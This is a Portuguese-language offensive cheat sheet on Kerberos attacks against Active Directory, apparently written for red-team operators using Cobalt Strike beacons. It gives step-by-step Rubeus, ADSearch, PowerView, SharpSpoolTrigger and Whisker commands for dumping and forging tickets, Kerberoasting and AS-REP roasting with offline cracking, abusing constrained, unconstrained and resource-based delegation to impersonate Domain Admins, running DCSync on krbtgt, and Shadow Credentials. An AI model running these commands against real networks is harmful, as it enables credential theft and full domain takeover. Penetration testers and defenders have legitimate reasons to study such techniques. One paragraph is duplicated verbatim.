# Kerberos

### Gerando TGS - Rubeus

Primeiro devemos ver na triagem os usuários disponíveis

```bash
<Rubeus.exe> triage
```

Vamos então pegar o LUID do usuário em questão. Selecione um LUID de cima para baixo e escolhendo o serviço em questão (escolher o `krbtgt` é um ótimo negócio).

```bash
<Rubeus.exe> dump /nowrap /luid:<LUID> /service:<service>
```

No final da saída do comando acima, teremos o base64 do TGT. Iremos utilizar esse valor para gerar um TGS, seguindo o comando abaixo:

```bash
<Rubeus.exe> asktgs /ticket:<tgt-base64> /service:<service>/<host.domain.local>:<port> /dc:<hostname-dc.domain.local> /ptt
```

###

### Kerberoasting

Kerberoasting é uma técnica para solicitar TGS para serviços executados no contexto de contas de domínio e quebrá-los offline para revelar suas senhas em texto simples. Para pegar os hashes de todos os usuários com Kerberoasting (exceto `krbtgt`), execute: Kerberoasting é uma técnica para solicitar TGS para serviços executados no contexto de contas de domínio e quebrá-los offline para revelar suas senhas em texto simples. Para pegar os hashes de todos os usuários com Kerberoasting (exceto `krbtgt`), execute:

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> kerberoast /simple /nowrap
```

Após pegar os hashes utilize o `Hashcat` ou `John the Ripper` para quebrá-la de maneira offline.

```bash
hashcat -a 0 -m 13100 <hash.txt> <wordlist.txt>
john --format=krb5tgs --wordlist=<wordlist.txt> <hash.txt>
```

**OBS.:** Pode ser que o John the Ripper tenha incompatibilidade com o hash. Remover o SPN do hash talvez possa remover o problema, então irá ficar algo como `$krb5tgs$23$*<user>$<host.domain.local>*$<HASH>`.

Como fazer esse tipo de enumeração pode fazer ruído na rede, o ideal é sempre enumerar primeiro os possíveis canditados e então analisá-los seletivamente. Abaixo temos uma consulta LDAP que encontrará usuários de domínio que possuem um SPN definido.

```bash
execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
```

Agora ao invés de pegarmos todos os usuários com Kerberoasting de uma vez, vamos selecionar um usuários (`samaccountname`) e pegar somente o seu hash.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast> /user:<user> /nowrap
```



### ASREP Roasting

Se um usuário não tiver a pré-autenticação Kerberos habilitada, um AS-REP poderá ser solicitado para esse usuário e parte da resposta poderá ser quebrada offline para recuperar sua senha em texto simples. Essa configuração é habilitada no objeto Usuário e geralmente é vista em contas associadas a sistemas Linux. Porém, assim como acontece com o Kerberoasting, não vamos atacar todas as contas do domínio, então vamos primeiro filtrar pelos usuários em potencial.

```bash
execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
```

Agora com o(s) usuário(s) em mãos, vamos extrair o seu hash.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asreproast /user:<user> /nowrap
```

Partiremos agora para o ataque de Brute Force offline para quebrarmos esse hash. Para podemos utilizar o Hashcat ou o John the Ripper.

```bash
hashcat -a 0 -m 18200 <hash.txt> <wordlist.txt>
john --format=krb5asrep --wordlist=<wordlist.txt> <hash.txt>
```



### Constrained Delegation (Delegação Restrita)

A delegação restrita foi introduzida posteriormente com o Windows Server 2003 como um meio mais seguro para os serviços executarem a delegação Kerberos. Tem como objetivo restringir os serviços para os quais o servidor pode atuar em nome de um usuário. Ele não permite mais que o servidor armazene em cache os TGTs de outros usuários, mas permite solicitar um TGS para outro usuário com seu próprio TGT. Quando um host pode atuar em nome de qualquer usuário para utilizar o serviço `cifs (Common Internet File System)`, isso permite listar compartilhamentos e transferência de arquivos. Para localizar computadores configurados para delegação restrita, procure aqueles cujo atributo `msds-allowedtodelegateto` não esteja vazio.

```bash
execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json
```

Apesar de estarmos pesquisando em contas de computadores, tenha em mente que contas de usuário também podem ter essa configuração. Para realizar a delegação, precisamos do TGT do principal (computador ou usuário) confiável para a delegação. A maneira mais direta é extraí-lo com o dump Rubeus:

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<luid> /service:krbtgt /nowrap
```

Com o TGT, execute uma solicitação `S4U` para obter um TGS utilizável para CIFS no Domain Controller. Lembre-se de que podemos representar qualquer usuário no domínio, mas queremos que alguém que conhecemos seja o administrador local do destino. Nesse caso, um Domain Admin faz mais sentido. Remova o `$` caso seja uma conta de usuário e não de computador.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user-to-impersonate> /msdsspn:cifs/<dc.domain.local> /user:<hostname-ou-user-do-base64-tgt>$ /ticket:<base64-tgt> /nowrap
```

Dessa forma, isso executará primeiro um `S4U2Self` e depois um `S4U2Proxy`. E por último, o ticket `S4U2Proxy` final que precisamos. Agora acessar com o usuário que definimos no comando acima para impersonificar. Para o comando abaixo, substitua `<base64-tgt>` pelo valor exibido no comando acima.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user-to-impersonate> /password:<qualquer_senha> /ticket:<base64-tgt> 
```

Anote o valor do campo `ProcessID` na saída do comando acima e utilize no comando abaixo:

```bash
steal_token <ProcessID>
```

Para ter certeza que o Impersonate deu certo para pegar a conta de um Domain Admin, execute um dos comandos abaixo (utilize FQDN do DC):

```bash
jump psexec64 <dc.domain.local> smb

ls \\<dc.domain.local>\c$
```

#### Alterando Nome de Serviço

Por padrão, o Active Directory permite que o campo `sname` do SPN do Ticket seja alterado, já que não está criptografado. Seguindo esse linha de raciocínio, podemos modificar o SPN para algo diferente, como por exemplo, solicitar um ticket de serviço como CIFS e depois alterar para LDAP. Isso pode ser útil quando estamos em um cenário onde o CIFS pode ser explorado, porém a porta 445 não está disponível. Remova o `$` abaixo caso seja uma conta de usuário e não de computador.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user-to-impersonate> /msdsspn:cifs/<dc.domain.local> /altservice:ldap /user:<hostname-ou-user-do-base64-tgt>$ /ticket:<base64-tgt> /nowrap

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user-to-impersonate> /password:<qualquer_senha> /ticket:<base64-tgt>

steal_token <ProcessID>
```

Agora podemos fazer o DCSYNC, devido ao acesso privilegiado de usuário com permissões de Domain Admin

```bash
dcsync <subdomain.domain.local> <SUBDOMAIN>\krbtgt
```



### Unconstrained Delegation (Delegação Irrestrita)

A delegação permite que um usuário ou máquina atue em nome de outro usuário para outro serviço. Uma implementação comum disso é quando um usuário se autentica em um aplicativo Web front-end que atende um banco de dados back-end. O aplicativo front-end precisa se autenticar no banco de dados back-end (usando Kerberos) como usuário autenticado.

Um aspecto interessante da delegação irrestrita é que ela armazenará em cache o TGT do usuário, independentemente de qual serviço está sendo acessado pelo usuário. Portanto, se um administrador acessar um compartilhamento de arquivos ou qualquer outro serviço na máquina que usa Kerberos, seu TGT será armazenado em cache. Se pudermos comprometer uma máquina com delegação irrestrita, poderemos extrair quaisquer TGTs de sua memória e usá-los para representar os usuários em outros serviços no domínio.

O comando abaixo irá retornar todos os computadores permitidos para delegação irrestrita. Lembre-se que, sempre todos Controladores de Domínio permitirão Delegação Irrestrita.

```bash
execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
```

Se comprometermos o \<host$> (host que foi detectado no comando acima) e esperarmos ou projetarmos socialmente um usuário privilegiado para interagir com ele, podemos roubar seu TGT em cache. A interação pode ser feita por meio de qualquer serviço Kerberos, portanto, algo tão simples como `dir \\<host>\c$` é suficiente. O parâmetro `triage` do Rubeus mostrará todos os tickets atualmente armazenados em cache. Os TGTs podem ser identificados pelo serviço krbtgt.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
```

Agora vamos extrair esse TGT e aproveitá-lo por meio de uma nova sessão de logon.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<LUID> /nowrap
```

No final da saída do comando acima, devmeos ter o base64 do TGT. Vamos utilizar esse valor para criarmos o novo logon

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user> /password:<fake-pass> /ticket:<base64-tgt>
```

Na saída do comando acima, pegue o valor do campo `ProcessID` e então utilize no comando abaixo

```bash
steal_token <ProcessID>
```

####

#### Pegando TGT do Domain Controller

Falando em Unconstrained Delegation, uma boa idéia é fazermos com que o DC acesse uma máquina que temos acessos privilegiados e assim pegarmos o TGT da conta de computador do DC. O Rubeus tem o parâmetro `monitor`, que entrará em loop e monitorará e extrairá continuamente novos TGTs à medida que eles forem armazenados em cache.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> monitor /interval:10 /nowrap
```

Em seguida, execute SharpSpoolTrigger. Note que o valor de `<host-beacon.domain.local>` irá ser a máquina com o Beacon que está executando o modo `Monitor` do Rubeus. Isso irá fazer com que o DC acesse a máquina com Delegação Irrestrita e deixe assim o seu TGT.

```bash
execute-assembly <C:\path\to\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe> <dc.domain.local> <host-beacon.domain.local>
```

Agora no Rubeus é possível ver o TGT de máquina do DC. Acesse com a conta do usuário em questão, ou a conta de máquina, caso tenha feito o procedimento acima.

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /ticket:<base64-tgt>
```

Na saída do comando acima, pegue o valor do campo `ProcessID` e então utilize no comando abaixo

```bash
steal_token <ProcessID>
```

Assim que o Rubeus capturar o TGT, ele já irá exibir o TGT em base64 tanto da conta de usuário do user que executou o comando acima, como o base64 TGT da conta de computador do Domain Controller.



Como vimos nos dois exemplos de Delegação Restrita (Constrained Delegation), existem duas extensões S4U (Service For User):

* `S4U2Self` = É o serviço de usuário para si mesmo, que em resumo permite que um serviço obtenha um TGS para si mesmo em nome de um usuário
* `S4U2Proxy` = É o serviço de usuário para proxy, no qual permite que o serviço obtenha um TGS em nome de um usuário para um segundo serviço

Se utilizarmos esse TGT do Domain Controller para acessar por exemplo o `ls \\<dc.domain.local>\c$` como se fosse uma conta de usuário comum, não iria funcionar. Porém podemos contornar isso através do comando abaixo:

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user> /self /altservice:cifs/<dc.domain.local> /user:<dc-hostname>$ /ticket:<base64-tgt-dc> /nowrap
```

Com o TGT gerado, utilize no comando abaixo:

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-tgt-dc>
```

Por último

```bash
steal_token <ProcessId>
```

Agora se executarmos um `ls \\<dc.domain.local>\c$`, podemos listar os arquivos normalmente.



### RBCD (Resource-Based Constrained Delegation)

Habilitar a Delegação (Restrita ou Irrestrita) em um computador requer a atribuição de direitos de usuário `SeEnableDelegationPrivilege` no(s) Domain Controller(s), que só era concedida ao Enterprise Admins de Domain Admins. O Windows 2012 introduziu um novo tipo de delegação chamada Delegação Restrita Baseada em Recursos (RBCD), que permite que a configuração da delegação seja definida no destino e não na origem.

Procurando máquinas com configurações vulneráveis, como `WriteProperty`, `GenericWrite`, `GenericAll` e `WriteDacl`.

```bash
powershell-import <C:\path\to\\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

Pegando o SID da máquina que estamos atualmente com o Beacon

```bash
powershell Get-DomainComputer -Identity <hostname> -Properties objectSid
```

Com o SID retornado, utilize-o no comando abaixo, que pode ser que retorne mensagem de erro, porém as vezes podemos ignorar e continuar:

```bash
powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<dc-hostname>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

Agora vamos fazer o processo básico para personificar um usuário. No primeiro comando, procure pelo LUID da conta de computador do Beacon que esteja utilizado o krbtgt como Serviço

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<LUID> /service:krbtgt /nowrap
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /user:<hostname-beacon>$ /impersonateuser:<user-domain-admin> /msdsspn:cifs/<dc.domain.local> /ticket:<base64-tgt> /nowrap
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user-domain-admin> /password:<qualquer_senha> /ticket:<base64-tgt>
steal_token <ProcessId>
ls \\<dc.domain.local>\c$
```

Para desfazer o processo, execute:

```bash
powershell Get-DomainComputer -Identity <dc-hostname> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
```

###

### Shadow Credentials

Embora a pré-autenticação Kerberos seja normalmente realizada usando uma chave simétrica derivada da senha de um cliente, chaves assimétricas também são possíveis por meio do `PKINIT` (Public Key Cryptography for Initial Authentication - Criptografia de Chave Pública para Autenticação Inicial). Se uma solução PKI estiver em vigor, como os ADCS (Active Directory Certificate Services - Serviços de Certificados do Active Directory), os Domain Controllers e os membros do Domínio trocam suas chaves públicas através da CA (Certificate Authority - Autoridade de Certificação) apropriada. Isso é chamado de modelo de Certificate Trust (Confiança de Certificado). Há também um modelo `Key Trust`, onde a confiança é estabelecida com base em dados brutos de chave, e não em um certificado. Isso exige que um cliente armazene sua chave em seu próprio objeto de domínio, em um atributo chamado `msDS-KeyCredentialLink`. A base do ataque de "Shadow Credentials" é que, se você puder gravar nesse atributo em um usuário ou objeto de computador, poderá obter um TGT para esse principal. Como tal, este é um abuso do estilo DACL, como acontece com o RBCD.

Listando chaves que estão presentes para um determinado alvo

```bash
execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> list /target:<dc-hostname>$
```

Adicionando um novo par de chaves

```bash
execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> add /target:<dc-hostname>$
```

Solicitando um TGT com o comando Rubeus que o próprio Whisker fornece. Utilize o hash do certificado e a senha gerada no comando acima, para poder executar o comando abaixo

```bash
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<dc-hostname>$ /certificate:<certificate> /password:"<password>" /nowrap
```

Listando todas as entradas novamente e remover apenas aquela que deseja

```bash
execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> list /target:<dc-hostname>$
execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> remove /target:<dc-hostname>$ /deviceid:<DevideId>
```



### Sites

```bash
# StandIn
https://github.com/FuzzySecurity/StandIn

# Whisker
https://github.com/eladshamir/Whisker
```
